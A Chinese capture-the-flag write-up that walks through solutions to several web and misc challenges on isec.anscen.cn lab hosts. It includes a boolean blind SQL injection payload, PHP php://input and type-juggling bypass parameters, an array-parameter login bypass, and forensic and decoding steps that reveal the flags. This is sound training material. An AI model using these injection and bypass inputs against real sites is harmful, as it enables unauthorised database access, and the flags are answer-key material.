WEB

WEB2

Flag在哪里?

链 接 http://10sBB7f7sSo9.isec.anscen.cn

burp抓包后向login.php常规 post user[]=admin&pass[]=a&submit=submit 。 得到flag{7538a033d41f442cbae9578d4c189615}

WEB4

你找得到Flag吗?

链 接http://3jhg9aks3.isec.anscen.cn

  • fuzz发现某些响应包头部会多出Set-Cookie: remind=U1FMSQ%3D%3D; 字样,依此进行布尔型盲注。
  • 使用intruder的Cluster Bomb 模式自动化,攻击向量为content=b'||substr((select/**/hex(database())),$1$,1)='$6$'#
  • 处理得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
r='p'+'x'*100
r=[i for i in r]

c0=[32,42]# 表示数据的第32,42位是'0'
c1=[6,18,30,70,72,76]
c2=[40,60]
c3=[11,15,21,23,25,31,33,35,37,38,41,43,45,49,51,54,57,61,65,67,73,74,75]
c4=[14,20,56]
c5=[16,28,36,46,48,68]
c6=[1,2,3,5,7,13,17,19,22,27,29,39,44,47,53,55,59,63,64,69,71]
c7=[8,9,12,24,52,62,77]
c8=[26,50,58]
c9=[34,66]
ca=[]
cb=[10]# 表示数据的第10位是'b'
cc=[4]
cd=[78]
ce=[]
cf=[]

call=[c0,c1,c2,c3,c4,c5,c6,c7,c8,c9,ca,cb,cc,cd,ce,cf]
for i in xrange(len(call)):
for j in call[i]:
r[j]=hex(i)[2:]
print ''.join(r)
#666c61677b3764356164363738656130393533623036356538376364386237663935616133317d
#flag{7d5ad678ea0953b065e87cd8b7f95aa31}
  • 题外话:使用hex()编码待查询数据再进行注入会把数据长度增长一倍,但待选字符集大小将减少到十六个,对于像本题这样没法二分的情况很高效。对于可以二分查找的情况复杂度和直接注入是一样的,还可以避开不可见字符的干扰。

WEB5

还没找到flag么

链 接http://8ah3ka0akj.isec.anscen.cn

查看源码,循序渐进。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
view-source://http://8ah3ka0akj.isec.anscen.cn/?key1=php://input&key2=skwerl11&key3=665.99999999999999&key4=99999999999999999999999999999999999999
post Hello hacker!
-----------------------------------------------------------------------
Hello hacker! Do you want the flag?<br>
<!--
$k1=$_GET['key1'];
$k2=$_GET['key2'];
if(file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
}
-->sjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
welcome! Hacker!<br><!--
if(md5($k2)>666666*666666)
{
include('ctf.php');
}
-->
Come on, flag is coming<br>flag{0fd14555a5d275b253aff1bae158ca7c}<!--
$k3=$_GET['key3'];
$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}
-->

MISC

MISC4

到底什么才是打开flag的正确姿势?

链 接http://1e3g6S39v5M9.isec.anscen.cn

解压Misc_Flow.rar 得到flag.rarHints.txt 两个文件,其中hint.txt 提示Blasting code???No No No!There is another txt file. ,尝试用alternatestreamview.exe 扫描文件夹,得到隐藏的流文件:password.txt:$DATA ,提取出内容是c1d6159d94cc00dfeafde4f5ff7639ade491f7639ade4f5ff7639ade491feaf5ff7639ad

发现flag.rar 无法作为压缩包打开,修复文件头为正确的52617221 后将上面字符串作为密码即可打开,得到包含flag的图片。flag{43cca4b3de2097b9558efefb0ecc3588}

MISC5

截获了一份敌军的流量包,据悉暗号就在里面

链 接http://2S8h7F84v4M0.isec.anscen.cn

过滤出ICMP包,按顺序排列,发现数据包长度可疑。

1
2
3
a=[144,150,139,145,165,91,109,151,122,113,106,119,93,167]
print ''.join([chr(i-42) for i in a])
# flag{1CmPG@M3}

MISC?

can’t see anything

什么也看不见

感谢川大师傅提供思路。

1
2
3
4
5
6
7
8
9
10
11
题图末尾有base32字符串
KA2DAMBQGAYDATRVGAYDCMBQGAYTAMBQGAYDAMBQGA3DANJQJ42DANJRGAZVCUZSHA4DSNKPGAYTCU2SGEYDGUKTGI4DQOJVJ4YDCMKTKIYTAM2RKMZDQOBRHEZTAOBUKAZTAMBYGEYDAMJQGAYDAMBQGAYDAMBQGAZDAMCOGA2DOOBXGQ3VEMRXGYYTMUBWGY3DAMBQGAYDAMBQGAYDAMBQGAYDEMBQGAYDAMBQGAYDAMBQGAYDIMRQGA4DAMBQGAYDAMBWGIYDAMBQGAYDMMSPGJHE6OCRHA2E6NBRGNITOOJVGAYDQMBQGA4TAMBQGQYTAMCTGEZDAMJQJ42DANJRGBHDMUJQKE4FCMBTHEZDSMRVGM2VAMBSGVIFAM2RGM4VANCQHAZE6MZQGUZVENCRGRHDINJTG4ZTIM2SGQ3DGMJTGQZVCNCQGQ3U6NRTKNHFANBZGRHVATZUGQ3TQNZUG5JDENZWGE3FANRWGYYDAMBQGAYDQMBQGAYDAMBQGYZDAMBQGAYDANRSJ4ZE4TZYKE4DITZUGEZVCNZZGUYDAOBQGAYDAMBQGA2DCNBQGMYE6NBQGU======
解码后得到
P4000000N500100010000000006050O405103QS28895O011SR103QS28895O011SR103QS288193084P30081001000000000000200N0478747R27616P6660000000000000002000000000000004200800000006200000062O2NO8Q84O413Q79500800090004100S12010O40510N6Q0Q8Q039292535P025PP3Q39P4P82O3053R4Q4N4537343R4631343Q4P47O63SNP494OPO4478747R27616P666000000800000006200000062O2NO8Q84O413Q7950080000000414030O405
将NOPQRS依次替换为ABCDEF得到十六进制串
C4000000A500100010000000006050B405103DF28895B011FE103DF28895B011FE103DF288193084C30081001000000000000200A0478747E27616C6660000000000000002000000000000004200800000006200000062B2AB8D84B413D79500800090004100F12010B40510A6D0D8D039292535C025CC3D39C4C82B3053E4D4A4537343E4631343D4C47B63FAC494BCB4478747E27616C666000000800000006200000062B2AB8D84B413D7950080000000414030B405
将字符串反序,得到504B开头的字符串
504B0304140000000800597D314B48D8BA2B260000002600000008000000666C61672E7478744BCB494CAF36B74C4D3431364E3437354A4D4E3503B28C4C93D3CC520C535292930D8D0D6A01504B01021F00140009000800597D314B48D8BA2B2600000026000000080024000000000000002000000000000000666C61672E7478740A00200000000000010018003C480391882FD301EF110B59882FD301EF110B59882FD301504B050600000000010001005A0000004C
使用十六进制编辑器保存为rar文件
打开可见flag.txt文件
flag{79ea433a752ece633a25cf6d1ddcc130}